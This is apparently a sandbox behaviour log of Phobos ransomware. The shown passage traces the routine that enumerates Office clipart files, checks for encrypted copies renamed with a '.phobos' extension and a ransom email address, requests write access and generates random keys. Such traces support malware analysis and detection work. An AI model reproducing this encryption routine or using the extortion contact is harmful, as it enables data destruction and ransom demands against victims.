CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.411] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=4964) returned 1 [0150.411] CloseHandle (hObject=0x564) returned 1 [0150.411] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf")) returned 0x220 [0150.411] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.412] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105378.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.412] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.412] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.414] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=4624) returned 1 [0150.414] CloseHandle (hObject=0x564) returned 1 [0150.414] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf")) returned 0x220 [0150.414] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.414] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.415] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.415] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.416] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=5880) returned 1 [0150.416] CloseHandle (hObject=0x564) returned 1 [0150.416] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf")) returned 0x220 [0150.416] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.417] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.417] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.418] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.419] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=5980) returned 1 [0150.419] CloseHandle (hObject=0x564) returned 1 [0150.419] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf")) returned 0x220 [0150.419] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.419] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.420] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.420] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105388.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.422] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=8252) returned 1 [0150.422] CloseHandle (hObject=0x564) returned 1 [0150.422] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105388.wmf")) returned 0x220 [0150.422] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105388.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.423] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105388.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.423] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.424] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.424] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=4944) returned 1 [0150.424] CloseHandle (hObject=0x564) returned 1 [0150.424] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf")) returned 0x220 [0150.425] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.425] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105390.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.425] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.425] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.426] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=11012) returned 1 [0150.426] CloseHandle (hObject=0x564) returned 1 [0150.426] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf")) returned 0x220 [0150.427] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.427] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.496] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.496] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.599] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=3328) returned 1 [0150.599] CloseHandle (hObject=0x580) returned 1 [0150.599] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf")) returned 0x220 [0150.600] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.600] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.600] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.600] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106816.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.600] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=3332) returned 1 [0150.601] CloseHandle (hObject=0x580) returned 1 [0150.601] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106816.wmf")) returned 0x220 [0150.601] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106816.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.601] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106816.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.601] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.601] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106958.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.613] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=13784) returned 1 [0150.613] CloseHandle (hObject=0x580) returned 1 [0150.613] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106958.wmf")) returned 0x220 [0150.613] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106958.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.613] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106958.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.613] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.614] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107024.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.614] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=3020) returned 1 [0150.615] CloseHandle (hObject=0x580) returned 1 [0150.615] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107024.wmf")) returned 0x220 [0150.615] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107024.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.615] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107024.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.615] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.615] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107026.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.615] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=7632) returned 1 [0150.616] CloseHandle (hObject=0x580) returned 1 [0150.616] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107026.wmf")) returned 0x220 [0150.616] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107026.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.616] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107026.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.616] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.616] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107042.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.616] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=9048) returned 1 [0150.616] CloseHandle (hObject=0x580) returned 1 [0150.616] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107042.wmf")) returned 0x220 [0150.617] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107042.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.617] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107042.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.617] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.617] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107090.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.617] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=14132) returned 1 [0150.617] CloseHandle (hObject=0x580) returned 1 [0150.617] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107090.wmf")) returned 0x220 [0150.617] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107090.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.618] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107090.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.618] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.618] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107130.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.618] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=27084) returned 1 [0150.618] CloseHandle (hObject=0x580) returned 1 [0150.618] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107130.wmf")) returned 0x220 [0150.618] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107130.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.619] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107130.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.619] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.619] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107132.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.620] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=48380) returned 1 [0150.620] CloseHandle (hObject=0x580) returned 1 [0150.620] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107132.wmf")) returned 0x220 [0150.620] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107132.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.620] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107132.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.620] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.620] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107134.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.621] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=48388) returned 1 [0150.621] CloseHandle (hObject=0x580) returned 1 [0150.621] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107134.wmf")) returned 0x220 [0150.621] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft 